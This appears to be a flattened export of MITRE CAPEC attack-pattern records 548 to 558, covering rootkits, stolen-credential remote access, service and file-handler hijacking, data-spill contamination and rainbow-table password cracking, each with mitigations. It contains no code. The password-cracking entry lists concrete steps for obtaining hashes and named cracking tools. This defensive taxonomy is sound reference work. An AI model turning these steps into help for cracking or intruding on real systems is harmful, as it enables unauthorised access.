+ + + + + + + + 607 + + + + + 512 + + + + + 513 + + + + + 515 + + + + + 403 + + + + + + + + + + + + #indContentHistoryContentHistory30903 + Content_History_30903 + + + + + + + + + + + + + + + + #indSubmissionSubmission30904 + Submission_30904 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30909 + Modification_30909 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30915 + Modification_30915 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30921 + Modification_30921 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-548 + Contaminate Resource + + + + + + + + + 548 + + + + + Contaminate Resource + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary contaminates organizational information systems (including devices and networks) by causing them to handle information of a classification/sensitivity for which they have not been authorized. When this happens, the contaminated information system, device, or network must be brought offline to investigate and mitigate the data spill, which denies availability of the system until the investigation is complete.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Contamination through email is a very common attack vector. Systems with email servers or personal work systems using email are susceptible to this attack simply by receiving an email that contains a classified document or information. A fake classified document could even be used that is mistaken as true classified material. This would still cause the system to be taken offline until the validity of the classified material is confirmed.</xhtml:div> + + + + + + + + + + + + #indAlternateTermDataSpill + Data Spill + + + + + + + + + Data Spill + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When information is handled by an information system of a classification/sensitivity for which the system has not been authorized to handle.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30941 + Related_Attack_Pattern_30941 + + + + + + + + + + + + + + 607 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs to have real or fake classified/sensitive information to place on a system</xhtml:div> + + + + + + + + + + + + #indSkillSkill30947 + Skill_30947 + + + + + + + + + + + + + + Knowledge of classification levels of systems + + + + + + + + + + + + #indSkillSkill30948 + Skill_30948 + + + + + + + + + + + + + + The ability to obtain a classified document or information + + + + + + + + + + + + #indSkillSkill30949 + Skill_30949 + + + + + + + + + + + + + + The ability to fake a classified document + + + + + + + + + + + + #indConsequenceConsequence30952 + Consequence_30952 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence30957 + Consequence_30957 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Victims of the attack can be exposed to classified materials</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Properly safeguard classified/sensitive data. This includes training cleared individuals to ensure they are handling and disposing of this data properly, as well as ensuring systems only handle information of the classification level they are designed for.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design systems with redundancy in mind. This could mean creating backing servers that could be switched over to in the event that a server has to be taken down for investigation.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Have a planned and efficient response plan to limit the amount of time a system is offline while the contamination is investigated.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An insider threat was able to obtain a classified document. They have knowledge that a backend server which provides access to a website also runs a mail server. The adversary creates a throwaway email address and sends the classified document to the mail server. When an administrator checks the mail server they notice that it has processed an email with a classified document and the server has to be taken offline while they investigate the contamination. In the meantime, the website has to be taken down as well and access to the website is denied until the backend can be migrated to another server or the investigation is complete.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indReferenceReference30974 + Reference_30974 + + + + + + + + + REF-742 + + + + + + + + + + + + #indReferenceReference30975 + Reference_30975 + + + + + + + + + REF-743 + + + + + + + + + + + + #indContentHistoryContentHistory30977 + Content_History_30977 + + + + + + + + + + + + + + + + #indSubmissionSubmission30978 + Submission_30978 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30983 + Modification_30983 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Alternate_Terms, Consequences, Description, Example_Instances, Extended_Description, Likelihood_Of_Attack, Mitigations, Prerequisites, References, Related_Attack_Patterns, Skills_Required, Typical_Severity + + + + + + + + + + + + #CAPEC-549 + Local Execution of Code + + + + + + + + + 549 + + + + + Local Execution of Code + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary installs and executes malicious code on the target system in an effort to achieve a negative technical impact. Examples include rootkits, ransomware, spyware, adware, and others.</xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Knowledge of the target system's vulnerabilities that can be capitalized on with malicious code.The adversary must be able to place the malicious code on the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The means by which the adversary intends to place the malicious code on the system dictates the tools required. For example, suppose the adversary wishes to leverage social engineering and convince a legitimate user to open a malicious file attached to a seemingly legitimate email. In this case, the adversary might require a tool capable of wrapping malicious code into an innocuous filetype (e.g., PDF, .doc, etc.)</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence31002 + Consequence_31002 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence31009 + Consequence_31009 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the type of code executed by the adversary, the consequences of this attack pattern can vary widely.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ robust cybersecurity training for all employees.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement system antivirus software that scans all attachments before opening them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Regularly patch all software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute all suspicious files in a sandbox environment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">BlueBorne refers to a set of nine vulnerabilities on different platforms (Linux, Windows, Android, iOS) that offer an adversary the ability to install and execute malicious code on a system if they were close in proximity to a Bluetooth enabled device. One vulnerability affecting iOS versions 7 through 9 allowed an attacker to overflow the Low Energy Audio Protocol since commands sent over this protocol are improperly validated and gain the elevated permissions of the Bluetooth stack. These vulnerabilities were a result of poor validation and were patched shortly after their exposure in 2017, but many non-updated devices remain vulnerable.</xhtml:div> + + + + + 829 + + + + + + + + + + + + #indContentHistoryContentHistory31029 + Content_History_31029 + + + + + + + + + + + + + + + + #indSubmissionSubmission31030 + Submission_31030 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31035 + Modification_31035 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Methods_of_Attack, Resources_Required, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification31041 + Modification_31041 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31047 + Modification_31047 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-55 + Rainbow Table Password Cracking + + + + + + + + + 55 + + + + + Rainbow Table Password Cracking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker gets access to the database table where hashes of passwords are stored. They then use a rainbow table of pre-computed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A password rainbow table stores hash chains for various passwords. A password chain is computed, starting from the original password, P, via a reduce(compression) function R and a hash function H. A recurrence relation exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn, H(Xn). P and H(Xn) are then stored together in the rainbow table. Constructing the rainbow tables takes a very long time and is computationally expensive. A separate table needs to be constructed for the various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow table is computed, it can be very effective in cracking the passwords that have been hashed without the use of salt.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31064 + Related_Attack_Pattern_31064 + + + + + + + + + + + + + + 49 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31065 + Related_Attack_Pattern_31065 + + + + + + + + + + + + + + 600 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31066 + Related_Attack_Pattern_31066 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31067 + Related_Attack_Pattern_31067 + + + + + + + + + + + + + + 560 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31068 + Related_Attack_Pattern_31068 + + + + + + + + + + + + + + 561 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31069 + Related_Attack_Pattern_31069 + + + + + + + + + + + + + + 653 + + + + + + + + + + + + #indAttackStepAttackStep31072 + Attack_Step_31072 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine application's/system's password policy] Determine the password policies of the target application/system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine minimum and maximum allowed password lengths.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31080 + Attack_Step_31080 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain password hashes] An attacker gets access to the database table storing hashes of passwords or potentially just discovers a hash of an individual password.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain copy of database table or flat file containing password hashes (by breaking access controls, using SQL Injection, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Obtain password hashes from platform-specific storage locations (e.g. Windows registry)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sniff network packets containing password hashes.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep31088 + Attack_Step_31088 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Run rainbow table-based password cracking tool] An attacker finds or writes a password cracking tool that uses a previously computed rainbow table for the right hashing algorithm. It helps if the attacker knows what hashing algorithm was used by the password system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run rainbow table-based password cracking tool such as Ophcrack or RainbowCrack. Reduction function must depend on application's/system's password policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hash of the original password is available to the attacker. For a better chance of success, an attacker should have more than one hash of the original password, and ideally the whole table.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Salt was not used to create the hash of the original password. Otherwise the rainbow tables have to be re-computed, which is very expensive and will make the attack effectively infeasible (especially if salt was added in iterations).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system uses one factor password based authentication.</xhtml:div> + + + + + + + + + + + + #indSkillSkill31101 + Skill_31101 + + + + + + + + + + + + + + A variety of password cracking tools are available that can leverage a rainbow table. The more difficult part is to obtain the password hash(es) in the first place. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Rainbow table of password hash chains with the right algorithm used. A password cracking tool that leverages this rainbow table will also be required. Hash(es) of the password is required.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This is a completely offline attack that an attacker can perform at their leisure after the password hashes are obtained.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence31110 + Consequence_31110 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use salt when computing password hashes. That is, concatenate the salt (random bits) with the original password prior to hashing it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">BusyBox 1.1.1 does not use a salt when generating passwords, which makes it easier for local users to guess passwords from a stolen password file using techniques such as rainbow tables. See also: CVE-2006-1058</xhtml:div> + + + + + 261 + + + + + 521 + + + + + 262 + + + + + 263 + + + + + 654 + + + + + 916 + + + + + 308 + + + + + 309 + + + + + + + + + + + + #indTaxonomyMappingBruteForcePasswordCracking + Brute Force:Password Cracking + + + + + + + + + + + + + + 1110.002 + + + + + Brute Force:Password Cracking + + + + + + + + + + + + #indContentHistoryContentHistory31139 + Content_History_31139 + + + + + + + + + + + + + + + + #indSubmissionSubmission31140 + Submission_31140 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification31145 + Modification_31145 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31151 + Modification_31151 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Related_Attack_Patterns, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31157 + Modification_31157 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Abstraction, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification31163 + Modification_31163 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31169 + Modification_31169 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-550 + Install New Service + + + + + + + + + 550 + + + + + Install New Service + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31180 + Related_Attack_Pattern_31180 + + + + + + + + + + + + + + 542 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Limit privileges of user accounts so new service creation can only be performed by authorized administrators.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingCreateOrModifySystemProcess + Create or Modify System Process + + + + + + + + + + + + + + 1543 + + + + + Create or Modify System Process + + + + + + + + + + + + #indContentHistoryContentHistory31194 + Content_History_31194 + + + + + + + + + + + + + + + + #indSubmissionSubmission31195 + Submission_31195 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31200 + Modification_31200 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated References + + + + + + + + + + + + #indModificationModification31206 + Modification_31206 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification31212 + Modification_31212 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31218 + Modification_31218 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31224 + Modification_31224 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31230 + Modification_31230 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-551 + Modify Existing Service + + + + + + + + + 551 + + + + + Modify Existing Service + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31241 + Related_Attack_Pattern_31241 + + + + + + + + + + + + + + 542 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Limit privileges of user accounts so service changes can only be performed by authorized administrators. Also monitor any service changes that may occur inadvertently.</xhtml:div> + + + + + 284 + + + + + 522 + + + + + + + + + + + + #indTaxonomyMappingCreateOrModifySystemProcess + Create or Modify System Process + + + + + + + + + + + + + + 1543 + + + + + Create or Modify System Process + + + + + + + + + + + + #indContentHistoryContentHistory31256 + Content_History_31256 + + + + + + + + + + + + + + + + #indSubmissionSubmission31257 + Submission_31257 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31262 + Modification_31262 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31268 + Modification_31268 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31274 + Modification_31274 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31280 + Modification_31280 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-552 + Install Rootkit + + + + + + + + + 552 + + + + + Install Rootkit + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31293 + Related_Attack_Pattern_31293 + + + + + + + + + + + + + + 542 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prevent adversary access to privileged accounts necessary to install rootkits.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A rootkit may take the form of a hypervisor. A hypervisor is a software layer that sits between the operating system and the processor. It presents a virtual running environment to the operating system. An example of a common hypervisor is Xen. Because a hypervisor operates at a level below the operating system it can hide its existence from the operating system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Similar to a rootkit, a bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingRootkit + Rootkit + + + + + + + + + + + + + + 1014 + + + + + Rootkit + + + + + + + + + + + + #indTaxonomyMappingPreOSBootBootkit + Pre-OS Boot:Bootkit + + + + + + + + + + + + + + 1542.003 + + + + + Pre-OS Boot:Bootkit + + + + + + + + + + + + #indTaxonomyMappingBootOrLogonAutostartExecutionKernelModulesAndExtensions + Boot or Logon Autostart Execution:Kernel Modules and Extensions + + + + + + + + + + + + + + 1547.006 + + + + + Boot or Logon Autostart Execution:Kernel Modules and Extensions + + + + + + + + + + + + #indContentHistoryContentHistory31319 + Content_History_31319 + + + + + + + + + + + + + + + + #indSubmissionSubmission31320 + Submission_31320 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31325 + Modification_31325 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Examples-Instances, References, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification31331 + Modification_31331 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31337 + Modification_31337 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-554 + Functionality Bypass + + + + + + + + + 554 + + + + + Functionality Bypass + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary attacks a system by bypassing some or all functionality intended to protect it. Often, a system user will think that protection is in place, but the functionality behind those protections has been disabled by the adversary.</xhtml:div> + + + + + + + + + + + + + + + 424 + + + + + 1299 + + + + + + + + + + + + #indContentHistoryContentHistory31353 + Content_History_31353 + + + + + + + + + + + + + + + + #indSubmissionSubmission31354 + Submission_31354 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + + + + + + + + #indModificationModification31359 + Modification_31359 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31365 + Modification_31365 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-555 + Remote Services with Stolen Credentials + + + + + + + + + 555 + + + + + Remote Services with Stolen Credentials + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31378 + Related_Attack_Pattern_31378 + + + + + + + + + + + + + + 560 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31381 + Related_Attack_Pattern_31381 + + + + + + + + + + + + + + 151 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disable RDP, telnet, SSH and enable firewall rules to block such traffic. Limit users and accounts that have remote interactive login access. Remove the Local Administrators group from the list of groups allowed to login through RDP. Limit remote user permissions. Use remote desktop gateways and multifactor authentication for remote logins.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the winrm command or by any number of programs such as PowerShell.</xhtml:div> + + + + + 522 + + + + + 308 + + + + + 309 + + + + + 294 + + + + + 263 + + + + + 262 + + + + + 521 + + + + + + + + + + + + #indTaxonomyMappingRemoteServices + Remote Services + + + + + + + + + + + + + + 1021 + + + + + Remote Services + + + + + + + + + + + + #indTaxonomyMappingEmailCollectionRemoteEmailCollection + Email Collection:Remote Email Collection + + + + + + + + + + + + + + 1114.002 + + + + + Email Collection:Remote Email Collection + + + + + + + + + + + + #indTaxonomyMappingExternalRemoteServices + External Remote Services + + + + + + + + + + + + + + 1133 + + + + + External Remote Services + + + + + + + + + + + + #indContentHistoryContentHistory31413 + Content_History_31413 + + + + + + + + + + + + + + + + #indSubmissionSubmission31414 + Submission_31414 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31419 + Modification_31419 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Examples-Instances, References, Related_Weaknesses, Typical_Severity + + + + + + + + + + + + #indModificationModification31425 + Modification_31425 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Abstraction, Related_Attack_Patterns, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification31431 + Modification_31431 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-556 + Replace File Extension Handlers + + + + + + + + + 556 + + + + + Replace File Extension Handlers + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern31443 + Related_Attack_Pattern_31443 + + + + + + + + + + + + + + 542 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inspect registry for changes. Limit privileges of user accounts so changes to default file handlers can only be performed by authorized administrators.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingEventTriggeredExecutionChangeDefaultFileAssociation + Event Triggered Execution:Change Default File Association + + + + + + + + + + + + + + 1546.001 + + + + + Event Triggered Execution:Change Default File Association + + + + + + + + + + + + #indContentHistoryContentHistory31457 + Content_History_31457 + + + + + + + + + + + + + + + + #indSubmissionSubmission31458 + Submission_31458 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31463 + Modification_31463 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification31469 + Modification_31469 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification31475 + Modification_31475 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-557 + DEPRECATED: Schedule Software To Run + + + + + + + + + 557 + + + + + DEPRECATED: Schedule Software To Run + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory31486 + Content_History_31486 + + + + + + + + + + + + + + + + #indSubmissionSubmission31487 + Submission_31487 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification31492 + Modification_31492 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, References, Related_Attack_Patterns, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification31498 + Modification_31498 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName31504 + Previous_Entry_Name_31504 + + + + + + + + + 2018-07-31 + + + + + Schedule Software To Run + + + + + + + + + + + + #CAPEC-558 + Replace Trusted Executable + + + + + + + + + 558 + + + + + Replace Trusted Executable + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + 